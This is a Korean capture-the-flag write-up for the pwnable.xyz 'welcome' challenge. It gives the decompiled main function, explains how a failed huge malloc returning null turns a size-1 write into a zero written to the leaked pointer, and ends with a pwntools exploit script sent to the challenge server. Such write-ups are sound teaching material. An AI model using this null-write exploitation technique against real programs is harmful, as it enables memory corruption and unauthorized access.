본문 바로가기

CTF/Pwnable.xyz

Pwnable.xyz pwnable_welcome Write up

약간 어려웠던 문제이다.

먼저 main함수를 보겠다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rbx
  __int64 v4; // rdx
  char *v5; // rbp
  __int64 v6; // rdx
  size_t v7; // rdx
  size_t size; // [rsp+0h] [rbp-28h]
  unsigned __int64 v10; // [rsp+8h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  sub_B4E();
  puts("Welcome.");
  v3 = malloc(0x40000uLL);
  *v3 = 1LL;
  _printf_chk(1LL, "Leak: %p\n", v3);
  _printf_chk(1LL, "Length of your message: ", v4);
  size = 0LL;
  _isoc99_scanf("%lu", &size);
  v5 = malloc(size);
  _printf_chk(1LL, "Enter your message: ", v6);
  read(0, v5, size);
  v7 = size;
  v5[size - 1] = 0;
  write(1, v5, v7);
  if ( !*v3 )
    system("cat /flag");
  return 0LL;
}

일단 여기에 취약점은 malloc을 할당할떄 malloc이 할당에 실패하면 0을 반환한다는 것이다. 처음에 v3에 주소를 주게되는데, v3가 0이면 flag를 주는 문제이다.

 

그니까 우리는 size에 큰 값을 주어서 0을 만든다음에 size-1 즉 v3를 0으로 바꿀수 있다는것이다.

 

 size에 v3+1을 넣어서 v5를 영어로 만들고, v3+1에 0을 넣어서 size-1이 연산되도록 하면 익스가 될것이다.

from pwn import *

#p = process("./challenge")
p = remote("svc.pwnable.xyz",30000)

p.recvuntil("Leak: ")
leak = int(p.recv(14), 16)

p.sendline(str(leak+1))

p.interactive()

'CTF > Pwnable.xyz' 카테고리의 다른 글

Pwnable.xyz pwnable_xor Write up  (0) 2019.11.17
Pwnable.xyz pwnable_misailgnment Write up  (0) 2019.11.09
Pwnable.xyz pwnable_add Write up  (0) 2019.11.09
Pwnable.xyz pwnable_sub Write up  (0) 2019.11.09
Pwnable.xyz pwnable_note Write up  (0) 2019.10.21